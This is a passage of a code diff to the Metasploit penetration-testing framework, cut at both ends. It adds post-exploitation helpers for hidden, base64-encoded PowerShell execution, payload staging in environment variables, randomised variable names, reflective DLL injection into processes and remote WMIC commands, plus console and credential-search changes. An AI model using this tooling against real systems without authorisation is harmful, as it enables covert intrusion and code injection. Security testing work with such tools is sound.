[String] If the function finds a writable directory, it returns the path. Else it returns nil + def busy_box_writable_dir + dirs = %w(/etc/ /mnt/ /var/ /var/tmp/) + + dirs.each do |d| + return d if busy_box_is_writable_dir?(d) + end + + nil + end + + + # Writes data to a file + # + # @param file_path [String] the file path to write on the target + # @param data [String] the content to be written + # @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite + # the target file + # @return [Boolean] true if target file is writable and it was written. Otherwise, false. + # @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because + # of it is necessary to implement an specific method. + def busy_box_write_file(file_path, data, prepend = false) + if prepend + dir = busy_box_writable_dir + return false unless dir + cmd_exec("cp -f #{file_path} #{dir}tmp") + Rex::sleep(0.3) + end + + rand_str = Rex::Text.rand_text_alpha(16) + cmd_exec("echo #{rand_str} > #{file_path}") + Rex::sleep(0.3) + + unless read_file(file_path).include?(rand_str) + return false + end + + cmd_exec("echo \"\"> #{file_path}") + Rex::sleep(0.3) + + lines = data.lines.map(&:chomp) + lines.each do |line| + cmd_exec("echo #{line.chomp} >> #{file_path}") + Rex::sleep(0.3) + end + + if prepend + cmd_exec("cat #{dir}tmp >> #{file_path}") + Rex::sleep(0.3) + + cmd_exec("rm -f #{dir}tmp") + Rex::sleep(0.3) + end + + true + end +end # Busybox +end # Linux +end # Post +end # Msf diff --git a/lib/msf/core/post/windows/file_info.rb b/lib/msf/core/post/windows/file_info.rb index 420584a12d..40ca6d7439 100644 --- a/lib/msf/core/post/windows/file_info.rb +++ b/lib/msf/core/post/windows/file_info.rb @@ -13,10 +13,10 @@ module FileInfo num & 0xffff end -# File Version -# @param [String] filepath The path of the file you are targeting -# -# @return [String] Returns the file version of target + # Returns the file version information such as: major, minor, build, revision, branch. + # + # @param filepath [String] The path of the file you are targeting. + # @return [String] Returns the file version information of the file. def file_version(filepath) file_version_info_size = client.railgun.version.GetFileVersionInfoSizeA( diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index b77da4a5e3..cea0bd1684 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- -require 'zlib' +require 'msf/core/exploit/powershell' require 'msf/core/post/common' module Msf @@ -7,13 +7,19 @@ class Post module Windows module Powershell + include ::Msf::Exploit::Powershell include ::Msf::Post::Common - - # List of running processes, open channels, and env variables... - - - # Suffix for environment variables + def initialize(info = {}) + super + register_advanced_options( + [ + OptInt.new('Powershell::Post::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]), + OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]), + OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]), + OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]), + ], self.class) + end # # Returns true if powershell is installed @@ -25,118 +31,65 @@ module Powershell end # - # Insert substitutions into the powershell script + # Get/compare list of current PS processes - nested execution can spawn many children + # doing checks before and after execution allows us to kill more children... + # This is a hack, better solutions are welcome since this could kill user + # spawned powershell windows created between comparisons. # - def make_subs(script, subs) - subs.each do |set| - script.gsub!(set[0],set[1]) - end - if datastore['VERBOSE'] - print_good("Final Script: ") - script.each_line {|l| print_status("\t#{l}")} - end + def get_ps_pids(pids = []) + current_pids = session.sys.process.get_processes.keep_if {|p| + p['name'].downcase == 'powershell.exe' + }.map {|p| p['pid']} + # Subtract previously known pids + current_pids = (current_pids - pids).uniq + return current_pids end # - # Return an array of substitutions for use in make_subs + # Execute a powershell script and return the output, channels, and pids. The script + # is never written to disk. # - def process_subs(subs) - return [] if subs.nil? or subs.empty? - new_subs = [] - subs.split(';').each do |set| - new_subs << set.split(',', 2) - end - return new_subs - end - - # - # Read in a powershell script stored in +script+ - # - def read_script(script) - script_in = '' - begin - # Open script file for reading - fd = ::File.new(script, 'r') - while (line = fd.gets) - script_in << line - end - - # Close open file - fd.close() - rescue Errno::ENAMETOOLONG, Errno::ENOENT - # Treat script as a... script - script_in = script - end - return script_in - end - - - # - # Return a zlib compressed powershell script - # - def compress_script(script_in, eof = nil) - - # Compress using the Deflate algorithm - compressed_stream = ::Zlib::Deflate.deflate(script_in, - ::Zlib::BEST_COMPRESSION) - - # Base64 encode the compressed file contents - encoded_stream = Rex::Text.encode_base64(compressed_stream) - - # Build the powershell expression - # Decode base64 encoded command and create a stream object - psh_expression = "$stream = New-Object IO.MemoryStream(," - psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));" - # Read & delete the first two bytes due to incompatibility with MS - psh_expression += "$stream.ReadByte()|Out-Null;" - psh_expression += "$stream.ReadByte()|Out-Null;" - # Uncompress and invoke the expression (execute) - psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader(" - psh_expression += "$(New-Object IO.Compression.DeflateStream(" - psh_expression += "$stream," - psh_expression += "[IO.Compression.CompressionMode]::Decompress))," - psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());" - - # If eof is set, add a marker to signify end of script output - if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end - - # Convert expression to unicode - unicode_expression = Rex::Text.to_unicode(psh_expression) - - # Base64 encode the unicode expression - encoded_expression = Rex::Text.encode_base64(unicode_expression) - - return encoded_expression - end - - # - # Execute a powershell script and return the results. The script is never written - # to disk. - # - def execute_script(script, time_out = 15) - running_pids, open_channels = [], [] + def execute_script(script, greedy_kill = false) + @session_pids ||= [] + running_pids = greedy_kill ? get_ps_pids : [] + open_channels = [] # Execute using -EncodedCommand - session.response_timeout = time_out - cmd_out = session.sys.process.execute("powershell -EncodedCommand " + - "#{script}", nil, {'Hidden' => true, 'Channelized' => true}) + session.response_timeout = datastore['Powershell::Post::timeout'].to_i + ps_bin = datastore['Powershell::Post::force_wow64'] ? + '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' + unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0 + script = encode_script(script.to_s) + end + ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None" + vprint_good("EXECUTING:\n#{ps_string}") + cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true}) + + # Subtract prior PIDs from current + if greedy_kill + Rex::ThreadSafe.sleep(3) # Let PS start child procs + running_pids = get_ps_pids(running_pids) + end # Add to list of running processes running_pids << cmd_out.pid + # All pids start here, so store them in a class variable + (@session_pids += running_pids).uniq! + # Add to list of open channels open_channels << cmd_out - return [cmd_out, running_pids, open_channels] + return [cmd_out, running_pids.uniq, open_channels] end # # Powershell scripts that are longer than 8000 bytes are split into 8000 - # 8000 byte chunks and stored as environment variables. A new powershell + # byte chunks and stored as CMD environment variables. A new powershell # script is built that will reassemble the chunks and execute the script. # Returns the reassembly script. # - def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) + def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) # Check to ensure script is encoded and compressed if compressed_script =~ /\s|\.|\;/ @@ -159,12 +112,11 @@ module Powershell set_env_variable += "'#{chunk}', 'User')" # Compress and encode the set command - encoded_stager = compress_script(set_env_variable) + encoded_stager = encode_script(compress_script(set_env_variable)) # Stage the payload print_good(" - Bytes remaining: #{compressed_script.size - index}") - execute_script(encoded_stager) - + cmd_out, running_pids, open_channels = execute_script(encoded_stager, false) # Increment index index += count @@ -178,57 +130,166 @@ module Powershell reassemble_command += "GetString($([Convert]::FromBase64String($c)))))" # Compress and encode the reassemble command - encoded_script = compress_script(reassemble_command) + encoded_script = encode_script(compress_script(reassemble_command)) return encoded_script end # - # Log the results of the powershell script + # Uploads a script into a Powershell session via memory (Powershell session types only). + # If the script is larger than 15000 bytes the script will be uploaded in a staged approach # - def write_to_log(cmd_out, log_file, eof) - # Open log file for writing - fd = ::File.new(log_file, 'w+') + def stage_psh_env(script) + begin + ps_script = read_script(script) + encoded_expression = encode_script(ps_script) + cleanup_commands = [] + # Add entropy to script variable names + script_var = ps_script.rig.generate(4) + decscript = ps_script.rig.generate(4) + scriptby = ps_script.rig.generate(4) + scriptbybase = ps_script.rig.generate(4) + scriptbybasefull = ps_script.rig.generate(4) - # Read output until eof and write to log - while (line = cmd_out.channel.read()) + if (encoded_expression.size > 14999) + print_error("Script size: #{encoded_expression.size} This script requires a stager") + arr = encoded_expression.chars.each_slice(14999).map(&:join) + print_good("Loading " + arr.count.to_s + " chunks into the stager.") + vararray = [] + arr.each_with_index do |slice, index| + variable = ps_script.rig.generate(5) + vararray << variable + indexval = index+1 + vprint_good("Loaded stage:#{indexval}") + session.shell_command("$#{variable} = \"#{slice}\"") + cleanup_commands << "Remove-Variable #{variable} -EA 0" + end + linkvars = '' + for var in vararray + linkvars = linkvars + " + $" + var + end + linkvars.slice!(0..2) + session.shell_command("$#{script_var} = #{linkvars}") + else + print_good("Script size: #{encoded_expression.size}") + session.shell_command("$#{script_var} = \"#{encoded_expression}\"") + end + session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))") + session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")") + session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ") + session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))") + session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex") + print_good("Module loaded") + unless cleanup_commands.empty? + vprint_good("Cleaning up #{cleanup_commands.count} stager variables") + session.shell_command("#{cleanup_commands.join(';')}") + end + rescue Errno::EISDIR => e + vprint_error("Unable to upload script: #{e.message}") + end + end + + # + # Reads output of the command channel and empties the buffer. + # Will optionally log command output to disk. + # + def get_ps_output(cmd_out, eof, read_wait = 5) + results = '' + + if datastore['Powershell::Post::log_output'] + # Get target's computer name + computer_name = session.sys.config.sysinfo['Computer'] + + # Create unique log directory + log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name) + ::FileUtils.mkdir_p(log_dir) + + # Define log filename + time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S') + log_file = ::File.join(log_dir,"#{time_stamp}.txt") + + + # Open log file for writing + fd = ::File.new(log_file, 'w+') + end + + # Read output until eof or nil return output and write to log + while (1) + line = ::Timeout.timeout(read_wait) { + cmd_out.channel.read + } rescue nil + break if line.nil? if (line.sub!(/#{eof}/, '')) - fd.write(line) - vprint_good("\t#{line}") - cmd_out.channel.close() + results << line + fd.write(line) if fd + #vprint_good("\t#{line}") break end - fd.write(line) - vprint_good("\t#{line}") + results << line + fd.write(line) if fd + #vprint_status("\n#{line}") end # Close log file - fd.close() + # cmd_out.channel.close() + fd.close() if fd - return + return results + + # + # Incremental read method - NOT USED + # + # read_data = '' + # segment = 2**16 + # # Read incrementally smaller blocks after each failure/timeout + # while segment > 0 do + # begin + # read_data << ::Timeout.timeout(read_wait) { + # cmd_out.channel.read(segment) + # } + # rescue + # segment = segment/2 + # end + # end end # # Clean up powershell script including process and chunks stored in environment variables # - def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false) + def clean_up( + script_file = nil, + eof = '', + running_pids =[], + open_channels = [], + env_suffix = Rex::Text.rand_text_alpha(8), + delete = false + ) # Remove environment variables env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|" env_del_command += "Select-String #{env_suffix}|%{" env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}" - script = compress_script(env_del_command, eof) - cmd_out, running_pids, open_channels = *execute_script(script) - write_to_log(cmd_out, "/dev/null", eof) - # Kill running processes - running_pids.each() do |pid| - session.sys.process.kill(pid) + script = compress_script(env_del_command, eof) + cmd_out, new_running_pids, new_open_channels = execute_script(script) + get_ps_output(cmd_out, eof) + + # Kill running processes, should mutex this... + @session_pids = (@session_pids + running_pids + new_running_pids).uniq + (running_pids + new_running_pids).uniq.each do |pid| + begin + if session.sys.process.processes.map {|x|x['pid']}.include?(pid) + session.sys.process.kill(pid) + end + @session_pids.delete(pid) + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Failed to kill #{pid} due to #{e}" + end end # Close open channels - open_channels.each() do |chan| - chan.channel.close() + (open_channels + new_open_channels).uniq.each do |chan| + chan.channel.close end ::File.delete(script_file) if (script_file and delete) @@ -236,8 +297,56 @@ module Powershell return end -end -end -end -end + # Simple script execution wrapper, performs all steps + # required to execute a string of powershell. + # This method will try to kill all powershell.exe PIDs + # which appeared during its execution, set greedy_kill + # to false if this is not desired. + # + def psh_exec(script, greedy_kill=true, ps_cleanup=true) + # Define vars + eof = Rex::Text.rand_text_alpha(8) + # eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}" + env_suffix = Rex::Text.rand_text_alpha(8) + script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code) + # Check to ensure base64 encoding - regex format and content length division + unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0 + script = encode_script(compress_script(script.to_s, eof),eof) + end + if datastore['Powershell::Post::dry_run'] + return "powershell -EncodedCommand #{script}" + else + # Check 8k cmd buffer limit, stage if needed + if (script.size > 8100) + vprint_error("Compressed size: #{script.size}") + error_msg = "Compressed size may cause command to exceed " + error_msg += "cmd.exe's 8kB character limit." + vprint_error(error_msg) + vprint_good('Launching stager:') + script = stage_cmd_env(script, env_suffix) + print_good("Payload successfully staged.") + else + print_good("Compressed size: #{script.size}") + end + vprint_good("Final command #{script}") + # Execute the script, get the output, and kill the resulting PIDs + cmd_out, running_pids, open_channels = execute_script(script, greedy_kill) + if datastore['Powershell::Post::timeout'].to_i < 0 + out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed" + # print_error out + return out + end + ps_output = get_ps_output(cmd_out,eof,datastore['Powershell::Post::timeout']) + # Kill off the resulting processes if needed + if ps_cleanup + vprint_good( "Cleaning up #{running_pids.join(', ')}" ) + clean_up(nil, eof, running_pids, open_channels, env_suffix, false) + end + return ps_output + end + end +end +end +end +end diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index aca85738b4..d6b6e578fa 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -147,6 +147,14 @@ module Msf::Post::Windows::Priv end end + # + # Returns true if in a high integrity, or system, service + # + def is_high_integrity? + il = get_integrity_level + (il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SIDE[:system]) + end + # # Returns the output of whoami /groups # diff --git a/lib/msf/core/post/windows/reflective_dll_injection.rb b/lib/msf/core/post/windows/reflective_dll_injection.rb index 2a3c8779bd..5f99480734 100644 --- a/lib/msf/core/post/windows/reflective_dll_injection.rb +++ b/lib/msf/core/post/windows/reflective_dll_injection.rb @@ -15,7 +15,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection PAGE_ALIGN = 1024 - # # Inject the given shellcode into a target process. # # @param process [Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process] @@ -24,7 +23,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection # # @return [Fixnum] Address of the shellcode in the target process's # memory. - # def inject_into_process(process, shellcode) shellcode_size = shellcode.length @@ -39,7 +37,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection return shellcode_mem end - # # Inject a reflectively-injectable DLL into the given process # using reflective injection. # @@ -49,7 +46,6 @@ module Msf::Post::Windows::ReflectiveDLLInjection # # @return [Array] Tuple of allocated memory address and offset to the # +ReflectiveLoader+ function. - # def inject_dll_into_process(process, dll_path) dll, offset = load_rdi_dll(dll_path) dll_mem = inject_into_process(process, dll) @@ -57,4 +53,20 @@ module Msf::Post::Windows::ReflectiveDLLInjection return dll_mem, offset end + # Inject a reflectively-injectable DLL into the given process + # using reflective injection. + # + # @param process [Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process] + # The process to inject the shellcode into. + # @param dll_data [String] the DLL contents which is to be loaded and injected. + # + # @return [Array] Tuple of allocated memory address and offset to the + # +ReflectiveLoader+ function. + def inject_dll_data_into_process(process, dll_data) + offset = load_rdi_dll_from_data(dll_data) + dll_mem = inject_into_process(process, dll_data) + + return dll_mem, offset + end + end diff --git a/lib/msf/core/post/windows/wmic.rb b/lib/msf/core/post/windows/wmic.rb index a9db0fc3c5..580e0b3dca 100644 --- a/lib/msf/core/post/windows/wmic.rb +++ b/lib/msf/core/post/windows/wmic.rb @@ -7,6 +7,7 @@ module Windows module WMIC include Msf::Post::File + include Msf::Post::Windows::Priv include Msf::Post::Windows::ExtAPI def initialize(info = {}) @@ -32,13 +33,13 @@ module WMIC end end - if extapi + if extapi && !is_system? session.extapi.clipboard.set_text("") wcmd = "wmic #{wmic_user_pass_string}/output:CLIPBOARD /INTERACTIVE:off /node:#{server} #{query}" else - tmp = session.fs.file.expand_path("%TEMP%") + tmp = get_env('TEMP') out_file = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}" - wcmd = "wmic #{wmic_user_pass_string}/output:#{out_file} /INTERACTIVE:off /node:#{server} #{query}" + wcmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe #{wmic_user_pass_string}/output:#{out_file} /INTERACTIVE:off /node:#{server} #{query}" end vprint_status("[#{server}] #{wcmd}") @@ -48,9 +49,9 @@ module WMIC session.railgun.kernel32.WaitForSingleObject(ps.handle, (datastore['TIMEOUT'] * 1000)) ps.close - if extapi + if extapi && !is_system? result = session.extapi.clipboard.get_data.first - if result[1].has_key? 'Text' + if result && result[1] && result[1].has_key?('Text') result_text = result[1]['Text'] else result_text = "" diff --git a/lib/msf/core/reflective_dll_loader.rb b/lib/msf/core/reflective_dll_loader.rb index 546be8ceba..68a5836f01 100644 --- a/lib/msf/core/reflective_dll_loader.rb +++ b/lib/msf/core/reflective_dll_loader.rb @@ -10,7 +10,6 @@ module Msf::ReflectiveDLLLoader - # # Load a reflectively-injectable DLL from disk and find the offset # to the ReflectiveLoader function inside the DLL. # @@ -18,14 +17,32 @@ module Msf::ReflectiveDLLLoader # # @return [Array] Tuple of DLL contents and offset to the # +ReflectiveLoader+ function within the DLL. - # def load_rdi_dll(dll_path) dll = '' - offset = nil - ::File.open(dll_path, 'rb') { |f| dll = f.read } + offset = parse_pe(dll) + + return dll, offset + end + + # Load a reflectively-injectable DLL from an string and find the offset + # to the ReflectiveLoader function inside the DLL. + # + # @param [Fixnum] dll_data the DLL to load. + # + # @return [Fixnum] offset to the +ReflectiveLoader+ function within the DLL. + def load_rdi_dll_from_data(dll_data) + offset = parse_pe(dll_data) + + offset + end + + private + + def parse_pe(dll) pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) + offset = nil pe.exports.entries.each do |e| if e.name =~ /^\S*ReflectiveLoader\S*/ @@ -38,6 +55,6 @@ module Msf::ReflectiveDLLLoader raise "Cannot find the ReflectiveLoader entry point in #{dll_path}" end - return dll, offset + offset end end diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 25b786426b..3a84221c7a 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -225,22 +225,6 @@ module Session "session_#{name}" end - # - # This method logs the supplied buffer as coming from the remote side of - # the session. - # - def log_from_remote(buf) - rlog(buf, log_source) - end - - # - # This method logs the supplied buffer as coming from the local side of - # the session. - # - def log_from_local(buf) - rlog(buf, log_source) - end - ## # # Core interface diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 6ce3e89de2..66dbb0af92 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -93,6 +93,10 @@ class Core @@go_pro_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ]) + @@irb_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ], + "-e" => [ true, "Expression to evaluate." ]) + # The list of data store elements that cannot be set when in defanged # mode. DefangedProhibitedDataStoreElements = [ "MsfModulePaths" ] @@ -414,7 +418,7 @@ class Core avdwarn = nil banner_trailers = { - :version => "%yelmetasploit v#{Msf::Framework::Version} [core:#{Metasploit::Framework::Core::GEM_VERSION} api:#{Metasploit::Framework::API::GEM_VERSION}]%clr", + :version => "%yelmetasploit v#{Metasploit::Framework::VERSION}%clr", :exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post", :pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops", :free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp", @@ -758,8 +762,8 @@ class Core def cmd_irb_help print_line "Usage: irb" print_line - print_line "Drop into an interactive Ruby environment" - print_line + print_line "Execute commands in a Ruby environment" + print @@irb_opts.usage end # @@ -768,17 +772,34 @@ class Core def cmd_irb(*args) defanged? - print_status("Starting IRB shell...\n") + expressions = [] - begin - Rex::Ui::Text::IrbShell.new(binding).run - rescue - print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}") + # Parse the command options + @@irb_opts.parse(args) do |opt, idx, val| + case opt + when '-e' + expressions << val + when '-h' + cmd_irb_help + return false + end end - # Reset tab completion - if (driver.input.supports_readline) - driver.input.reset_tab_completion + if expressions.empty? + print_status("Starting IRB shell...\n") + + begin + Rex::Ui::Text::IrbShell.new(binding).run + rescue + print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}") + end + + # Reset tab completion + if (driver.input.supports_readline) + driver.input.reset_tab_completion + end + else + expressions.each { |expression| eval(expression, binding) } end end diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 02f6356cf0..1db20e3aee 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -89,6 +89,7 @@ class Db print_line " workspace [name] Switch workspace" print_line " workspace -a [name] ... Add workspace(s)" print_line " workspace -d [name] ... Delete workspace(s)" + print_line " workspace -D Delete all workspaces" print_line " workspace -r Rename workspace" print_line " workspace -h Show this help information" print_line @@ -106,6 +107,8 @@ class Db adding = true when '-d','--del' deleting = true + when '-D','--delete-all' + delete_all = true when '-r','--rename' renaming = true else @@ -123,28 +126,9 @@ class Db end framework.db.workspace = workspace elsif deleting and names - switched = false - # Delete workspaces - names.each do |name| - workspace = framework.db.find_workspace(name) - if workspace.nil? - print_error("Workspace not found: #{name}") - elsif workspace.default? - workspace.destroy - workspace = framework.db.add_workspace(name) - print_status("Deleted and recreated the default workspace") - else - # switch to the default workspace if we're about to delete the current one - if framework.db.workspace.name == workspace.name - framework.db.workspace = framework.db.default_workspace - switched = true - end - # now destroy the named workspace - workspace.destroy - print_status("Deleted workspace: #{name}") - end - end - print_status("Switched workspace: #{framework.db.workspace.name}") if switched + delete_workspaces(names) + elsif delete_all + delete_workspaces(framework.db.workspaces.map(&:name)) elsif renaming if names.length != 2 print_error("Wrong number of arguments to rename") @@ -202,6 +186,31 @@ class Db } end + def delete_workspaces(names) + switched = false + # Delete workspaces + names.each do |name| + workspace = framework.db.find_workspace(name) + if workspace.nil? + print_error("Workspace not found: #{name}") + elsif workspace.default? + workspace.destroy + workspace = framework.db.add_workspace(name) + print_status("Deleted and recreated the default workspace") + else + # switch to the default workspace if we're about to delete the current one + if framework.db.workspace.name == workspace.name + framework.db.workspace = framework.db.default_workspace + switched = true + end + # now destroy the named workspace + workspace.destroy + print_status("Deleted workspace: #{name}") + end + end + print_status("Switched workspace: #{framework.db.workspace.name}") if switched + end + def cmd_workspace_tabs(str, words) return [] unless active? framework.db.workspaces.map { |s| s.name } if (words & ['-a','--add']).empty? @@ -837,6 +846,7 @@ class Db print_line " -s List creds matching comma-separated service names" print_line " -u,--user List users that match this regex" print_line " -t,--type List creds that match the following types: #{allowed_cred_types.join(',')}" + print_line " -O,--origins List creds that match these origins" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line @@ -925,15 +935,16 @@ class Db end def creds_search(*args) - host_ranges = [] - port_ranges = [] - svcs = [] - rhosts = [] + host_ranges = [] + origin_ranges = [] + port_ranges = [] + svcs = [] + rhosts = [] set_rhosts = false #cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] - cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ] + cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type' ] user = nil delete_count = 0 @@ -979,6 +990,13 @@ class Db mode = :delete when '-R', '--rhosts' set_rhosts = true + when '-O', '--origins' + hosts = args.shift + if !hosts + print_error("Argument required for -O") + return + end + arg_host_range(hosts, origin_ranges) else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) @@ -1058,11 +1076,22 @@ class Db next end - if core.logins.empty? + origin = '' + if core.origin.kind_of?(Metasploit::Credential::Origin::Service) + origin = core.origin.service.host.address + elsif core.origin.kind_of?(Metasploit::Credential::Origin::Session) + origin = core.origin.session.host.address + end + if !origin.empty? && origin_ranges.present? && !origin_ranges.any? {|range| range.include?(origin) } + next + end + + if core.logins.empty? && origin_ranges.empty? tbl << [ "", # host - "", # port + "", # cred + "", # service core.public, core.private, core.realm, @@ -1070,7 +1099,6 @@ class Db ] else core.logins.each do |login| - # If none of this Core's associated Logins is for a host within # the user-supplied RangeWalker, then we don't have any reason to # print it out. However, we treat the absence of ranges as meaning @@ -1078,7 +1106,9 @@ class Db if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) } next end + row = [ login.service.host.address ] + row << origin rhosts << login.service.host.address if login.service.name.present? row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})" @@ -1176,6 +1206,7 @@ class Db print_line " -h,--help Show this help information" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line " -S,--search Regular expression to match for search" + print_line " -o,--output Save the notes to a csv file" print_line " --sort Fields to sort by (case sensitive)" print_line print_line "Examples:" @@ -1196,6 +1227,7 @@ class Db host_ranges = [] rhosts = [] search_term = nil + out_file = nil while (arg = args.shift) case arg @@ -1222,6 +1254,8 @@ class Db search_term = /#{args.shift}/nmi when '--sort' sort_term = args.shift + when '-o', '--output' + out_file = args.shift when '-h','--help' cmd_notes_help return @@ -1231,7 +1265,6 @@ class Db return end end - end if mode == :add @@ -1308,12 +1341,21 @@ class Db end # Now display them + csv_table = Rex::Ui::Text::Table.new( + 'Header' => 'Notes', + 'Indent' => 1, + 'Columns' => ['Time', 'Host', 'Service', 'Port', 'Protocol', 'Type', 'Data'] + ) + note_list.each do |note| next if(types and types.index(note.ntype).nil?) + csv_note = [] msg = "Time: #{note.created_at} Note:" + csv_note << note.created_at if out_file if (note.host) host = note.host msg << " host=#{note.host.address}" + csv_note << note.host.address if out_file if set_rhosts addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr @@ -1321,17 +1363,37 @@ class Db end if (note.service) msg << " service=#{note.service.name}" if note.service.name + csv_note << note.service.name || '' if out_file msg << " port=#{note.service.port}" if note.service.port + csv_note << note.service.port || '' if out_file msg << " protocol=#{note.service.proto}" if note.service.proto + csv_note << note.service.proto || '' if out_file + else + if out_file + csv_note << '' # For the Service field + csv_note << '' # For the Port field + csv_note << '' # For the Protocol field + end end msg << " type=#{note.ntype} data=#{note.data.inspect}" + if out_file + csv_note << note.ntype + csv_note << note.data.inspect + end print_status(msg) + if out_file + csv_table << csv_note + end if mode == :delete note.destroy delete_count += 1 end end + if out_file + save_csv_notes(out_file, csv_table) + end + # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. set_rhosts_from_addrs(rhosts.uniq) if set_rhosts @@ -1340,6 +1402,17 @@ class Db } end + def save_csv_notes(fpath, csv_table) + begin + File.open(fpath, 'wb') do |f| + f.write(csv_table.to_csv) + end + print_status("Notes saved as #{fpath}") + rescue Errno::EACCES => e + print_error("Unable to save notes. #{e.message}") + end + end + def make_sortable(input) case input when String diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 0810688fa4..914e0a787e 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -169,7 +169,7 @@ class Driver < Msf::Ui::Driver unless configuration_pathname.nil? if configuration_pathname.readable? - dbinfo = YAML.load_file(configuration_pathname) + dbinfo = YAML.load_file(configuration_pathname) || {} dbenv = opts['DatabaseEnv'] || Rails.env db = dbinfo[dbenv] else @@ -186,15 +186,7 @@ class Driver < Msf::Ui::Driver # framework.db.active will be true if after_establish_connection ran directly when connection_established? was # already true or if framework.db.connect called after_establish_connection. - if framework.db.active - unless opts['DeferModuleLoads'] - self.framework.modules.refresh_cache_from_database - - if self.framework.modules.cache_empty? - print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") - end - end - elsif !framework.db.error.nil? + if !! framework.db.error if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i print_error("***") print_error("*") @@ -217,12 +209,15 @@ class Driver < Msf::Ui::Driver # Initialize the module paths only if we didn't get passed a Framework instance and 'DeferModuleLoads' is false unless opts['Framework'] || opts['DeferModuleLoads'] # Configure the framework module paths - self.framework.init_module_paths - self.framework.modules.add_module_path(opts['ModulePath']) if opts['ModulePath'] + self.framework.init_module_paths(module_paths: opts['ModulePath']) + end - # Rebuild the module cache in a background thread - self.framework.threads.spawn("ModuleCacheRebuild", true) do - self.framework.modules.refresh_cache_from_module_files + if framework.db.active && !opts['DeferModuleLoads'] + if self.framework.modules.cache_empty? + self.framework.threads.spawn("ModuleCacheRebuild", true) do + 